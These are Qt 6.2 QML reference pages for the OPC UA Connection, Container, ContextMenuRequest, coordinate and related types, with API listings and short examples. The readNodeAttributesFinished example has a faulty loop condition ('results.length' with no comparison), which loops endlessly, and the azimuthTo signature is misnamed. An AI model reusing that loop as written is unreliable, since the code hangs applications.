* **[backend](qml-qtopcua-connection#backend-prop)** : string
* **[connected](qml-qtopcua-connection#connected-prop)** : bool
* **[connection](qml-qtopcua-connection#connection-prop)** : QOpcUaClient
* **[currentEndpoint](qml-qtopcua-connection#currentEndpoint-prop)** : QOpcUaEndpointDescription
* **[defaultConnection](qml-qtopcua-connection#defaultConnection-prop)** : bool
* **[namespaces](qml-qtopcua-connection#namespaces-prop)** : stringlist
* **[supportedSecurityPolicies](qml-qtopcua-connection#supportedSecurityPolicies-prop)** : stringlist
* **[supportedUserTokenTypes](qml-qtopcua-connection#supportedUserTokenTypes-prop)** : array[tokenTypes]

 Signals
-------

 * **[nodeChanged](qml-qtopcua-connection#nodeChanged-signal)**()
* **[readNodeAttributesFinished](qml-qtopcua-connection#readNodeAttributesFinished-signal)**(*readResults*)
* **[writeNodeAttributesFinished](qml-qtopcua-connection#writeNodeAttributesFinished-signal)**(*writeResults*)

 Methods
-------

 * **[connectToEndpoint](qml-qtopcua-connection#connectToEndpoint-method)**(*endpointDescription*)
* **[disconnectFromEndpoint](qml-qtopcua-connection#disconnectFromEndpoint-method)**()
* **[readNodeAttributes](qml-qtopcua-connection#readNodeAttributes-method)**(*valuesToBeRead*)
* **[writeNodeAttributes](qml-qtopcua-connection#writeNodeAttributes-method)**(*valuesToBeWritten*)

 Detailed Description
--------------------

 The main API uses backends to make connections. You have to set the backend before any connection attempt.

 
```
import QtOpcUa 5.13 as QtOpcUa

QtOpcUa.Connection {
    backend: "open62541"
}

Component.onCompleted: {
    connection.connectToEndpoint("opc.tcp://127.0.0.1:43344");
}
```
 Property Documentation
----------------------

 ###  authenticationInformation : [AuthenticationInformation](qml-qtopcua-authenticationinformation)

 Set the authentication information to this connection. The authentication information has to be set before calling [connectToEndpoint](qml-qtopcua-connection#connectToEndpoint-method). If no authentication information is set, the anonymous mode will be used. It has no effect on the current connection. If the client is disconnected and then reconnected, the new credentials are used. Reading and writing this property before a [backend](qml-qtopcua-connection#backend-prop) is set, writes are ignored and reads return and invalid [AuthenticationInformation](qml-qtopcua-authenticationinformation).

 ###  [read-only] availableBackends : stringlist

 Returns the names of all available backends as a list. These are used to select a backend when connecting.

 **See also** [Connection::backend](qml-qtopcua-connection#backend-prop).

 ###  backend : [string](qml-string)

 Set the backend to use for a connection to the server. Has to be set before any connection attempt.

 **See also** [Connection::availableBackends](qml-qtopcua-connection#availableBackends-prop).

 ###  [read-only] connected : [bool](qml-bool)

 Status of the connection. `true` when there is a connection, otherwise `false`.

 ###  [since 5.13] connection : QOpcUaClient

 This property is used only to inject a connection from C++. In case of complex setup of a connection you can use C++ to handle all the details. After the connection is established it can be handed to QML using this property. Ownership of the client is transferred to QML.

 
```
class MyClass : public QObject {
    Q_OBJECT
    Q_PROPERTY(QOpcUaClient* connection READ connection NOTIFY connectionChanged)

public:
    MyClass (QObject* parent = nullptr);
    QOpcUaClient *connection() const;

signals:
    void connectionChanged(QOpcUaClient *);
```
 Emitting the signal `connectionChanged` when the client setup is completed, the QML code below will use the connection.

 
```
import QtOpcUa 5.13 as QtOpcUa

MyClass {
    id: myclass
}

QtOpcUa.Connection {
    connection: myclass.connection
 }
```
 This property was introduced in Qt 5.13.

 ###  [since 5.13] currentEndpoint : QOpcUaEndpointDescription

 An endpoint description of the server to which the connection is connected to. When the connection is not established, an empty endpoint description is returned.

 This property was introduced in Qt 5.13.

 ###  defaultConnection : [bool](qml-bool)

 Makes this the default connection. Usually each node needs to be given a connection to use. If this property is set to `true`, this connection will be used in all cases where a node has no connection set. Already established connections are not affected. If `defaultConnection` is set to `true` on multiple connection the last one is used.

 
```
QtOpcUa.Connection {
    ...
    defaultConnection: true
    ...
}
```
 **See also** [Node](qml-qtopcua-node).

 ###  [read-only] namespaces : stringlist

 List of strings of all namespace URIs registered on the connected server.

 ###  [since 5.13] supportedSecurityPolicies : stringlist

 A list of strings containing the supported security policies

 This property is currently available as a Technology Preview, and therefore the API and functionality provided may be subject to change at any time without prior notice.

 This property was introduced in Qt 5.13.

 ###  [since 5.13] supportedUserTokenTypes : array[tokenTypes]

 An array of user token policy types of all supported user token types.

 This property is currently available as a Technology Preview, and therefore the API and functionality provided may be subject to change at any time without prior notice.

 This property was introduced in Qt 5.13.

 Signal Documentation
--------------------

 ###  nodeChanged()

 Emitted when the underlying node has changed. This happens when the namespace or identifier of the [NodeId](qml-qtopcua-nodeid) changed.

 **Note:** The corresponding handler is `onNodeChanged`.

 ###  `[since 5.13]` readNodeAttributesFinished(*readResults*)

 Emitted when the read request, started using [readNodeAttributes](qml-qtopcua-connection#readNodeAttributes-method)(), is finished. The *readResults* parameter is an array of [ReadResult](qml-qtopcua-readresult) entries, containing the values requested from the server.

 
```
connection.onReadNodeAttributesFinished(results) {
    for (var i = 0; results.length; i++) {
        if (results[i].status.isGood) {
            console.log(results[i].value);
        } else {
            // handle error
        }
    }
}
```
 **Note:** The corresponding handler is `onReadNodeAttributesFinished`.

 This signal was introduced in Qt 5.13.

 **See also** [readNodeAttributes](qml-qtopcua-connection#readNodeAttributes-method)() and [ReadResult](qml-qtopcua-readresult).

 ###  `[since 5.13]` writeNodeAttributesFinished(*writeResults*)

 Emitted when the write request started using [writeNodeAttributes](qml-qtopcua-connection#writeNodeAttributes-method)() is finished. The *writeResults* parameter is an array of [WriteResult](qml-qtopcua-writeresult) entries, containing the values requested from the server.

 
```
for (var i = 0; i < writeResults.length; i++) {
    console.log(writeResults[i].nodeId);
    console.log(writeResults[i].namespaceName);
    console.log(writeResults[i].attribute);

    if (writeResults[i].status.isBad) {
        // value was not written
    }
}
```
 **Note:** The corresponding handler is `onWriteNodeAttributesFinished`.

 This signal was introduced in Qt 5.13.

 **See also** [writeNodeAttributes](qml-qtopcua-connection#writeNodeAttributes-method)() and [WriteResult](qml-qtopcua-writeresult).

 Method Documentation
--------------------

 ###  connectToEndpoint(*endpointDescription*)

 Connects to the endpoint specified with *endpointDescription*.

 **See also** [EndpointDescription](qml-qtopcua-endpointdescription).

 ###  disconnectFromEndpoint()

 Disconnects an established connection.

 ###  readNodeAttributes(*valuesToBeRead*)

 This function is used to read multiple values from a server in one go. Returns `true` if the read request was dispatched successfully.

 The *valuesToBeRead* parameter must be a JavaScript array of [ReadItem](qml-qtopcua-readitem) entries.

 
```
// List of items to read
var readItemList = [];
// Item to be added to the list of items to be read
var readItem;

// Prepare an item to be read

// Create a new read item and fill properties
readItem = QtOpcUa.ReadItem.create();
readItem.ns = "http://qt-project.org";
readItem.nodeId = "s=Demo.Static.Scalar.Double";
readItem.attribute = QtOpcUa.Constants.NodeAttribute.DisplayName;

// Add the prepared item to the list of items to be read
readItemList.push(readItem);

// Add further items
[...]

if (!connection.readNodeAttributes(readItemList)) {
    // handle error
}
```
 The result of the read request are provided by the signal [readNodeAttributesFinished](qml-qtopcua-connection#readNodeAttributesFinished-signal)().

 **See also** [readNodeAttributesFinished](qml-qtopcua-connection#readNodeAttributesFinished-signal)() and [ReadItem](qml-qtopcua-readitem).

 ###  writeNodeAttributes(*valuesToBeWritten*)

 This function is used to write multiple values to a server in one go. Returns `true` if the write request was dispatched successfully.

 The *valuesToBeWritten* parameter must be a JavaScript array of [WriteItem](qml-qtopcua-writeitem) entries.

 
```
// List of items to write
var writeItemList = [];
// Item to be added to the list of items to be written
var writeItem;

// Prepare an item to be written

// Create a new write item and fill properties
writeItem = QtOpcUa.WriteItem.create();
writeItem.ns = "http://qt-project.org";
writeItem.nodeId = "s=Demo.Static.Scalar.Double";
writeItem.attribute = QtOpcUa.Constants.NodeAttribute.Value;
writeItem.value = 32.1;
writeItem.valueType = QtOpcUa.Constants.Double;

// Add the prepared item to the list of items to be written
writeItemList.push(writeItem);

// Add further items
[...]

if (!connection.writeNodeAttributes(writeItemList)) {
    // handle error
}
```
 The result of the write request are provided by the signal [Connection::writeNodeAttributesFinished](qml-qtopcua-connection#writeNodeAttributesFinished-signal)().

 **See also** [Connection::writeNodeAttributesFinished](qml-qtopcua-connection#writeNodeAttributesFinished-signal)() and [WriteItem](qml-qtopcua-writeitem).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtopcua-connection.html>

Container QML Type
==================

 Abstract base type providing functionality common to containers. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Controls |
|  Since: |  Qt 5.7 |
|  Inherits: | [Control](qml-qtquick-controls2-control) |
|  Inherited By: | [DialogButtonBox](qml-qtquick-controls2-dialogbuttonbox), [MenuBar](qml-qtquick-controls2-menubar), [SplitView](qml-qtquick-controls2-splitview), [SwipeView](qml-qtquick-controls2-swipeview), and [TabBar](qml-qtquick-controls2-tabbar) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-controls2-container-members.html)

 Properties
----------

 * **[contentChildren](qml-qtquick-controls2-container#contentChildren-prop)** : list<Item>
* **[contentData](qml-qtquick-controls2-container#contentData-prop)** : list<Object>
* **[contentHeight](qml-qtquick-controls2-container#contentHeight-prop)** : real
* **[contentModel](qml-qtquick-controls2-container#contentModel-prop)** : model
* **[contentWidth](qml-qtquick-controls2-container#contentWidth-prop)** : real
* **[count](qml-qtquick-controls2-container#count-prop)** : int
* **[currentIndex](qml-qtquick-controls2-container#currentIndex-prop)** : int
* **[currentItem](qml-qtquick-controls2-container#currentItem-prop)** : Item

 Methods
-------

 * void **[addItem](qml-qtquick-controls2-container#addItem-method)**(Item *item*)
* void **[decrementCurrentIndex](qml-qtquick-controls2-container#decrementCurrentIndex-method)**()
* void **[incrementCurrentIndex](qml-qtquick-controls2-container#incrementCurrentIndex-method)**()
* void **[insertItem](qml-qtquick-controls2-container#insertItem-method)**(int *index*, Item *item*)
* Item **[itemAt](qml-qtquick-controls2-container#itemAt-method)**(int *index*)
* void **[moveItem](qml-qtquick-controls2-container#moveItem-method)**(int *from*, int *to*)
* void **[removeItem](qml-qtquick-controls2-container#removeItem-method)**(Item *item*)
* void **[setCurrentIndex](qml-qtquick-controls2-container#setCurrentIndex-method)**(int *index*)
* Item **[takeItem](qml-qtquick-controls2-container#takeItem-method)**(int *index*)

 Detailed Description
--------------------

 Container is the base type of container-like user interface controls that allow dynamic insertion and removal of items.

 ### Using Containers

 Typically, items are statically declared as children of Container, but it is also possible to [add](qml-qtquick-controls2-container#addItem-method), [insert](qml-qtquick-controls2-container#insertItem-method), [move](qml-qtquick-controls2-container#moveItem-method) and [remove](qml-qtquick-controls2-container#removeItem-method) items dynamically. The items in a container can be accessed using [itemAt](qml-qtquick-controls2-container#itemAt-method)() or [contentChildren](qml-qtquick-controls2-container#contentChildren-prop).

 Most containers have the concept of a "current" item. The current item is specified via the [currentIndex](qml-qtquick-controls2-container#currentIndex-prop) property, and can be accessed using the read-only [currentItem](qml-qtquick-controls2-container#currentItem-prop) property.

 The following example illustrates dynamic insertion of items to a [TabBar](qml-qtquick-controls2-tabbar), which is one of the concrete implementations of Container.

 
```
Row {
    TabBar {
        id: tabBar

        currentIndex: 0
        width: parent.width - addButton.width

        TabButton { text: "TabButton" }
    }

    Component {
        id: tabButton
        TabButton { text: "TabButton" }
    }

    Button {
        id: addButton
        text: "+"
        flat: true
        onClicked: {
            tabBar.addItem(tabButton.createObject(tabBar))
            console.log("added:", tabBar.itemAt(tabBar.count - 1))
        }
    }
}
```
 ### Managing the Current Index

 When using multiple containers, such as [TabBar](qml-qtquick-controls2-tabbar) and [SwipeView](qml-qtquick-controls2-swipeview), together, their [currentIndex](qml-qtquick-controls2-container#currentIndex-prop) properties can be bound to each other to keep them in sync. When the user interacts with either container, its current index changes automatically propagate to the other container.

 Notice, however, that assigning a `currentIndex` value in JavaScript removes the respective binding. In order to retain the bindings, use the following methods to alter the current index:

 * [incrementCurrentIndex](qml-qtquick-controls2-container#incrementCurrentIndex-method)()
* [decrementCurrentIndex](qml-qtquick-controls2-container#decrementCurrentIndex-method)()
* [setCurrentIndex](qml-qtquick-controls2-container#setCurrentIndex-method)()

 
```
TabBar {
    id: tabBar
    currentIndex: swipeView.currentIndex
}

SwipeView {
    id: swipeView
    currentIndex: tabBar.currentIndex
}

Button {
    text: qsTr("Home")
    onClicked: swipeView.setCurrentIndex(0)
    enabled: swipeView.currentIndex != 0
}

Button {
    text: qsTr("Previous")
    onClicked: swipeView.decrementCurrentIndex()
    enabled: swipeView.currentIndex > 0
}

Button {
    text: qsTr("Next")
    onClicked: swipeView.incrementCurrentIndex()
    enabled: swipeView.currentIndex < swipeView.count - 1
}
```
 ### Implementing Containers

 Container does not provide any default visualization. It is used to implement such containers as [SwipeView](qml-qtquick-controls2-swipeview) and [TabBar](qml-qtquick-controls2-tabbar). When implementing a custom container, the most important part of the API is [contentModel](qml-qtquick-controls2-container#contentModel-prop), which provides the contained items in a way that it can be used as a delegate model for item views and repeaters.

 
```
Container {
    id: container

    contentItem: ListView {
        model: container.contentModel
        snapMode: ListView.SnapOneItem
        orientation: ListView.Horizontal
    }

    Text {
        text: "Page 1"
        width: container.width
        height: container.height
    }

    Text {
        text: "Page 2"
        width: container.width
        height: container.height
    }
}
```
 Notice how the sizes of the page items are set by hand. This is because the example uses a plain Container, which does not make any assumptions on the visual layout. It is typically not necessary to specify sizes for items in concrete Container implementations, such as [SwipeView](qml-qtquick-controls2-swipeview) and [TabBar](qml-qtquick-controls2-tabbar).

 **See also** [Container Controls](qtquickcontrols2-containers).

 Property Documentation
----------------------

 ###  contentChildren : [list](qml-list)<[Item](qml-qtquick-item)>

 This property holds the list of content children.

 The list contains all items that have been declared in QML as children of the container, and also items that have been dynamically added or inserted using the [addItem](qml-qtquick-controls2-container#addItem-method)() and [insertItem](qml-qtquick-controls2-container#insertItem-method)() methods, respectively.

  **Note:** Unlike `contentData`, `contentChildren` does not include non-visual QML objects. It is re-ordered when items are inserted or moved.

  **See also** [Item::children](qml-qtquick-item#children-prop) and [contentData](qml-qtquick-controls2-container#contentData-prop).

 ###  [default] contentData : [list](qml-list)<Object>

 This property holds the list of content data.

 The list contains all objects that have been declared in QML as children of the container, and also items that have been dynamically added or inserted using the [addItem](qml-qtquick-controls2-container#addItem-method)() and [insertItem](qml-qtquick-controls2-container#insertItem-method)() methods, respectively.

  **Note:** Unlike `contentChildren`, `contentData` does include non-visual QML objects. It is not re-ordered when items are inserted or moved.

  **See also** [Item::data](qml-qtquick-item#data-prop) and [contentChildren](qml-qtquick-controls2-container#contentChildren-prop).

 ###  [since QtQuick.Controls 2.5 (Qt 5.12)] contentHeight : [real](qml-real)

 This property holds the content height. It is used for calculating the total implicit height of the container.

 Unless explicitly overridden, the content height is automatically calculated based on the implicit height of the items in the container.

 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 **See also** [contentWidth](qml-qtquick-controls2-container#contentWidth-prop).

 ###  [read-only] contentModel : model

 This property holds the content model of items.

 The content model is provided for visualization purposes. It can be assigned as a model to a content item that presents the contents of the container.

 
```
Container {
    id: container
    contentItem: ListView {
        model: container.contentModel
    }
}
```
 **See also** [contentData](qml-qtquick-controls2-container#contentData-prop) and [contentChildren](qml-qtquick-controls2-container#contentChildren-prop).

 ###  [since QtQuick.Controls 2.5 (Qt 5.12)] contentWidth : [real](qml-real)

 This property holds the content width. It is used for calculating the total implicit width of the container.

 Unless explicitly overridden, the content width is automatically calculated based on the implicit width of the items in the container.

 This property was introduced in QtQuick.Controls 2.5 (Qt 5.12).

 **See also** [contentHeight](qml-qtquick-controls2-container#contentHeight-prop).

 ###  [read-only] count : [int](qml-int)

 This property holds the number of items.

 ###  currentIndex : [int](qml-int)

 This property holds the index of the current item.

 **See also** [currentItem](qml-qtquick-controls2-container#currentItem-prop) and [Managing the Current Index](qml-qtquick-controls2-container#managing-the-current-index).

 ###  [read-only] currentItem : [Item](qml-qtquick-item)

 This property holds the current item.

 **See also** [currentIndex](qml-qtquick-controls2-container#currentIndex-prop).

 Method Documentation
--------------------

 ###  void addItem([Item](qml-qtquick-item) *item*)

 Adds an *item*.

 ###  `[since QtQuick.Controls 2.1 (Qt 5.8)]` void decrementCurrentIndex()

 Decrements the current index of the container.

 This method can be called to alter the current index without breaking existing `currentIndex` bindings.

 This method was introduced in QtQuick.Controls 2.1 (Qt 5.8).

 **See also** [currentIndex](qml-qtquick-controls2-container#currentIndex-prop) and [Managing the Current Index](qml-qtquick-controls2-container#managing-the-current-index).

 ###  `[since QtQuick.Controls 2.1 (Qt 5.8)]` void incrementCurrentIndex()

 Increments the current index of the container.

 This method can be called to alter the current index without breaking existing `currentIndex` bindings.

 This method was introduced in QtQuick.Controls 2.1 (Qt 5.8).

 **See also** [currentIndex](qml-qtquick-controls2-container#currentIndex-prop) and [Managing the Current Index](qml-qtquick-controls2-container#managing-the-current-index).

 ###  void insertItem([int](qml-int) *index*, [Item](qml-qtquick-item) *item*)

 Inserts an *item* at *index*.

 ###  [Item](qml-qtquick-item) itemAt([int](qml-int) *index*)

 Returns the item at *index*, or `null` if it does not exist.

 ###  void moveItem([int](qml-int) *from*, [int](qml-int) *to*)

 Moves an item *from* one index *to* another.

 ###  `[since QtQuick.Controls 2.3 (Qt 5.10)]` void removeItem([Item](qml-qtquick-item) *item*)

 Removes and destroys the specified *item*.

 This method was introduced in QtQuick.Controls 2.3 (Qt 5.10).

 ###  void setCurrentIndex([int](qml-int) *index*)

 Sets the current *index* of the container.

 This method can be called to set a specific current index without breaking existing `currentIndex` bindings.

 **See also** [currentIndex](qml-qtquick-controls2-container#currentIndex-prop) and [Managing the Current Index](qml-qtquick-controls2-container#managing-the-current-index).

 ###  `[since QtQuick.Controls 2.3 (Qt 5.10)]` [Item](qml-qtquick-item) takeItem([int](qml-int) *index*)

 Removes and returns the item at *index*.

  **Note:** The ownership of the item is transferred to the caller.

  This method was introduced in QtQuick.Controls 2.3 (Qt 5.10).



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-controls2-container.html>

CumulativeDirection QML Type
============================

 For specifying a direction made of other directions. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtQuick.Particles |
|  Inherits: | [Direction](qml-qtquick-particles-direction) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtquick-particles-cumulativedirection-members.html)

 Detailed Description
--------------------

 The CumulativeDirection element will act as a direction that sums the directions within it.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-particles-cumulativedirection.html>

ContextMenuRequest QML Type
===========================

 A request for showing a context menu. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtWebEngine |
|  Since: |  QtWebEngine 1.4 |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtwebengine-contextmenurequest-members.html)

 Properties
----------

 * **[accepted](qml-qtwebengine-contextmenurequest#accepted-prop)** : bool
* **[editFlags](qml-qtwebengine-contextmenurequest#editFlags-prop)** : flags
* **[isContentEditable](qml-qtwebengine-contextmenurequest#isContentEditable-prop)** : bool
* **[linkText](qml-qtwebengine-contextmenurequest#linkText-prop)** : string
* **[linkUrl](qml-qtwebengine-contextmenurequest#linkUrl-prop)** : url
* **[mediaFlags](qml-qtwebengine-contextmenurequest#mediaFlags-prop)** : flags
* **[mediaType](qml-qtwebengine-contextmenurequest#mediaType-prop)** : enumeration
* **[mediaUrl](qml-qtwebengine-contextmenurequest#mediaUrl-prop)** : url
* **[misspelledWord](qml-qtwebengine-contextmenurequest#misspelledWord-prop)** : string
* **[position](qml-qtwebengine-contextmenurequest#position-prop)** : point
* **[selectedText](qml-qtwebengine-contextmenurequest#selectedText-prop)** : string
* **[spellCheckerSuggestions](qml-qtwebengine-contextmenurequest#spellCheckerSuggestions-prop)** : stringlist

 Detailed Description
--------------------

 A ContextMenuRequest is passed as an argument of the [WebEngineView::contextMenuRequested](qml-qtwebengine-webengineview#contextMenuRequested-signal) signal. It provides further information about the context of the request. The [position](qml-qtwebengine-contextmenurequest#position-prop) property provides the origin of the request.

 The [accepted](qml-qtwebengine-contextmenurequest#accepted-prop) property of the request indicates whether the request is handled by the user code or the default context menu should be displayed.

 The following code uses a custom menu to handle the request:

 
```
WebEngineView {
    id: view
    // ...
    onContextMenuRequested: function(request) {
        request.accepted = true;
        myMenu.x = request.x;
        myMenu.y = request.y;
        myMenu.trigger.connect(view.triggerWebAction);
        myMenu.popup();
    }
    // ...
}
```
 Property Documentation
----------------------

 ###  accepted : [bool](qml-bool)

 Indicates whether the context menu request has been handled by the signal handler.

 If the property is `false` after any signal handlers for [WebEngineView::contextMenuRequested](qml-qtwebengine-webengineview#contextMenuRequested-signal) have been executed, a default context menu will be shown. To prevent this, set `request.accepted` to `true`.

 The default is `false`.

  **Note:** The default content of the context menu depends on the web element for which the request was actually generated.

  ###  [read-only, since QtWebEngine 1.7] editFlags : flags

 The available edit operations in the current context or `CanDoNone` if no actions are available.

 

| Constant | Description |
| --- | --- |
| `ContextMenuRequest.CanUndo` | Undo is available. |
| `ContextMenuRequest.CanRedo` | Redo is available. |
| `ContextMenuRequest.CanCut` | Cut is available. |
| `ContextMenuRequest.CanCopy` | Copy is available. |
| `ContextMenuRequest.CanPaste` | Paste is available. |
| `ContextMenuRequest.CanDelete` | Delete is available. |
| `ContextMenuRequest.CanSelectAll` | Select All is available. |
| `ContextMenuRequest.CanTranslate` | Translate is available. |
| `ContextMenuRequest.CanEditRichly` | Context is richly editable. |

 This property was introduced in QtWebEngine 1.7.

 ###  [read-only] isContentEditable : [bool](qml-bool)

 Indicates whether the selected web content is editable.

 ###  [read-only] linkText : [string](qml-string)

 The text of the link if the context menu was requested for a link.

 ###  [read-only] linkUrl : [url](qml-url)

 The URL of the link if the selected web page content is a link. It is not guaranteed to be a valid URL.

 ###  [read-only, since QtWebEngine 1.7] mediaFlags : flags

 The current media element's status and its available operations. `MediaNone` if the selected web page content is not a media element.

 

| Constant | Description |
| --- | --- |
| `ContextMenuRequest.MediaInError` | An error occurred. |
| `ContextMenuRequest.MediaPaused` | Media is paused. |
| `ContextMenuRequest.MediaMuted` | Media is muted. |
| `ContextMenuRequest.MediaLoop` | Media can be looped. |
| `ContextMenuRequest.MediaCanSave` | Media can be saved. |
| `ContextMenuRequest.MediaHasAudio` | Media has audio. |
| `ContextMenuRequest.MediaCanToggleControls` | Media can show controls. |
| `ContextMenuRequest.MediaControls` | Media controls are shown. |
| `ContextMenuRequest.MediaCanPrint` | Media is printable. |
| `ContextMenuRequest.MediaCanRotate` | Media is rotatable. |

 This property was introduced in QtWebEngine 1.7.

 ###  [read-only] mediaType : [enumeration](qml-enumeration)

 The type of the media element or `MediaTypeNone` if the selected web page content is not a media element.

 

| Constant | Description |
| --- | --- |
| `ContextMenuRequest.MediaTypeNone` | Not a media. |
| `ContextMenuRequest.MediaTypeImage` | An image. |
| `ContextMenuRequest.MediaTypeVideo` | A video. |
| `ContextMenuRequest.MediaTypeAudio` | An audio element. |
| `ContextMenuRequest.MediaTypeCanvas` | A canvas. |
| `ContextMenuRequest.MediaTypeFile` | A file. |
| `ContextMenuRequest.MediaTypePlugin` | A plugin. |

 ###  [read-only] mediaUrl : [url](qml-url)

 The URL of media if the selected web content is a media element.

 ###  [read-only] misspelledWord : [string](qml-string)

 If the context is a word considered misspelled by the spell-checker, returns the misspelled word.

 ###  [read-only] position : [point](qml-point)

 The position of the user action from where the context menu request originates.

 ###  [read-only] selectedText : [string](qml-string)

 The selected text the context menu was created for.

 ###  [read-only] spellCheckerSuggestions : stringlist

 If the context is a word considered misspelled by the spell-checker, returns a list of suggested replacements.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtwebengine-contextmenurequest.html>

coordinate QML Basic Type
=========================

 This type is a QML representation of [QGeoCoordinate](qgeocoordinate) and represents a geographic position in the form of [latitude](qml-coordinate#latitude), [longitude](qml-coordinate#longitude) and [altitude](qml-coordinate#altitude) attributes. The [latitude](qml-coordinate#latitude) attribute specifies the number of decimal degrees above and below the equator. A positive latitude indicates the Northern Hemisphere and a negative latitude indicates the Southern Hemisphere. The [longitude](qml-coordinate#longitude) attribute specifies the number of decimal degrees east and west. A positive longitude indicates the Eastern Hemisphere and a negative longitude indicates the Western Hemisphere. The [altitude](qml-coordinate#altitude) attribute specifies the number of meters above sea level. Together, these attributes specify a 3-dimensional position anywhere on or near the Earth's surface.

 The [isValid](qml-geoshape#isvalid) attribute can be used to test if a coordinate is valid. A coordinate is considered valid if it has a valid latitude and longitude. A valid altitude is not required. The latitude must be between -90 and 90 inclusive and the longitude must be between -180 and 180 inclusive.

 The `coordinate` type is used by many other types in the Qt Location module, for specifying the position of an object on a Map, the current position of a device and many other tasks. They also feature a number of important utility methods that make otherwise complex calculations simple to use, such as [atDistanceAndAzimuth](qml-coordinate#atdistanceandazimuth)().

 Accuracy
--------

 The latitude, longitude and altitude attributes stored in the coordinate type are represented as doubles, giving them approximately 16 decimal digits of precision -- enough to specify micrometers. The calculations performed in coordinate's methods such as [azimuthTo](qml-coordinate#azimuthto)() and [distanceTo](qml-coordinate#distanceto)() also use doubles for all intermediate values, but the inherent inaccuracies in their spherical Earth model dominate the amount of error in their output.

 Example Usage
-------------

 Use properties of type [var](qml-var) to store a `coordinate`. To create a `coordinate` use one of the methods described below. In all cases, specifying the [altitude](qml-coordinate#altitude) attribute is optional.

 To create a `coordinate` value, use the [QtPositioning.coordinate](qml-qtpositioning-qtpositioning#coordinate-method)() function:

 
```
import QtPositioning

Location { coordinate: QtPositioning.coordinate(-27.5, 153.1) }
```
 or as separate [latitude](qml-coordinate#latitude), [longitude](qml-coordinate#longitude) and [altitude](qml-coordinate#altitude) components:

 
```
Location {
    coordinate {
        latitude: -27.5
        longitude: 153.1
    }
}
```
 When integrating with C++, note that any [QGeoCoordinate](qgeocoordinate) value passed into QML from C++ is automatically converted into a `coordinate` value, and vice-versa.

 Properties
----------

 ### latitude

 
```
real latitude
```
 This property holds the latitude value of the geographical position (decimal degrees). A positive latitude indicates the Northern Hemisphere, and a negative latitude indicates the Southern Hemisphere. If the property has not been set, its default value is NaN.

 For more details see the [QGeoCoordinate::latitude](qgeocoordinate#latitude) property

 ### longitude

 
```
real longitude
```
 This property holds the longitude value of the geographical position (decimal degrees). A positive longitude indicates the Eastern Hemisphere, and a negative longitude indicates the Western Hemisphere If the property has not been set, its default value is NaN.

 For more details see the [QGeoCoordinate::longitude](qgeocoordinate#longitude) property

 ### altitude

 
```
real altitude
```
 This property holds the altitude value (meters above sea level). If the property has not been set, its default value is NaN.

 For more details see the [QGeoCoordinate::altitude](qgeocoordinate#altitude) property

 ### isValid

 
```
bool isValid
```
 This property holds the current validity of the coordinate. Coordinates are considered valid if they have been set with a valid latitude and longitude (altitude is not required).

 The latitude must be between -90 to 90 inclusive to be considered valid, and the longitude must be between -180 to 180 inclusive to be considered valid.

 This is a read-only property.

 Methods
-------

 ### distanceTo()

 
```
real distanceTo(coordinate other)
```
 Returns the distance (in meters) from this coordinate to the coordinate specified by *other*. Altitude is not used in the calculation.

 This calculation returns the great-circle distance between the two coordinates, with an assumption that the Earth is spherical for the purpose of this calculation.

 ### azimuthTo()

 
```
real azimuth(coordinate other)
```
 Returns the azimuth (or bearing) in degrees from this coordinate to the coordinate specified by *other*. Altitude is not used in the calculation.

 There is an assumption that the Earth is spherical for the purpose of this calculation.

 ### atDistanceAndAzimuth()

 
```
coordinate atDistanceAndAzimuth(real distance, real azimuth)
```
 Returns the coordinate that is reached by traveling *distance* metres from this coordinate at *azimuth* degrees along a great-circle.

 There is an assumption that the Earth is spherical for the purpose of this calculation.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-coordinate.html>

CoordinateAnimation QML Type
============================

 A [PropertyAnimation](qml-qtquick-propertyanimation) for geo coordinate properties. [More...](#details)

 

|  |  |
| --- | --- |
|  Import Statement: |  import QtPositioning |
|  Since: |  Qt 5.3 |
|  Inherits: | [PropertyAnimation](qml-qtquick-propertyanimation) |


* [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qml-qtpositioning-coordinateanimation-members.html)

 Properties
----------

 * **[direction](qml-qtpositioning-coordinateanimation#direction-prop)** : enumeration
* **[from](qml-qtpositioning-coordinateanimation#from-prop)** : coordinate
* **[to](qml-qtpositioning-coordinateanimation#to-prop)** : coordinate

 Detailed Description
--------------------

 A specialized [PropertyAnimation](https://doc.qt.io/qt-6.2/qtquick-animation-example.html#propertyanimation) that defines an animation between two [coordinates](qml-coordinate).

 By default, a [latitude](qml-coordinate#latitude) of the [coordinate](qml-coordinate) is animated in the direction of shortest (geodesic) distance between those coordinates. Since CoordinateAnimation uses Mercator map projection, the [latitude](qml-coordinate#latitude) animation is always between -90 and 90 degrees. The [longitude](qml-coordinate#longitude) animation path is not limited and can go over 180 degrees in both west and east directions.

 The [direction](qml-qtpositioning-coordinateanimation#direction-prop) property can be set to specify the direction in which the [longitude](qml-coordinate#longitude) animation should occur.

 **See also** [Animation and Transitions in Qt Quick](qtquick-statesanimations-animations).

 Property Documentation
----------------------

 ###  [since 5.5] direction : [enumeration](qml-enumeration)

 This property holds the direction of the [longitude](qml-coordinate#longitude) animation of the [coordinate](qml-coordinate).

 Possible values are:

 * [CoordinateAnimation](qml-qtpositioning-coordinateanimation).Shortest (default) - the longitude animation goes in the direction that produces the shortest animation path.
* [CoordinateAnimation](qml-qtpositioning-coordinateanimation).West - the longitude animation always goes into western direction and may cross the date line.
* [CoordinateAnimation](qml-qtpositioning-coordinateanimation).East - the longitude animation always goes into eastern direction and may cross the date line.

 This property was introduced in Qt 5.5.

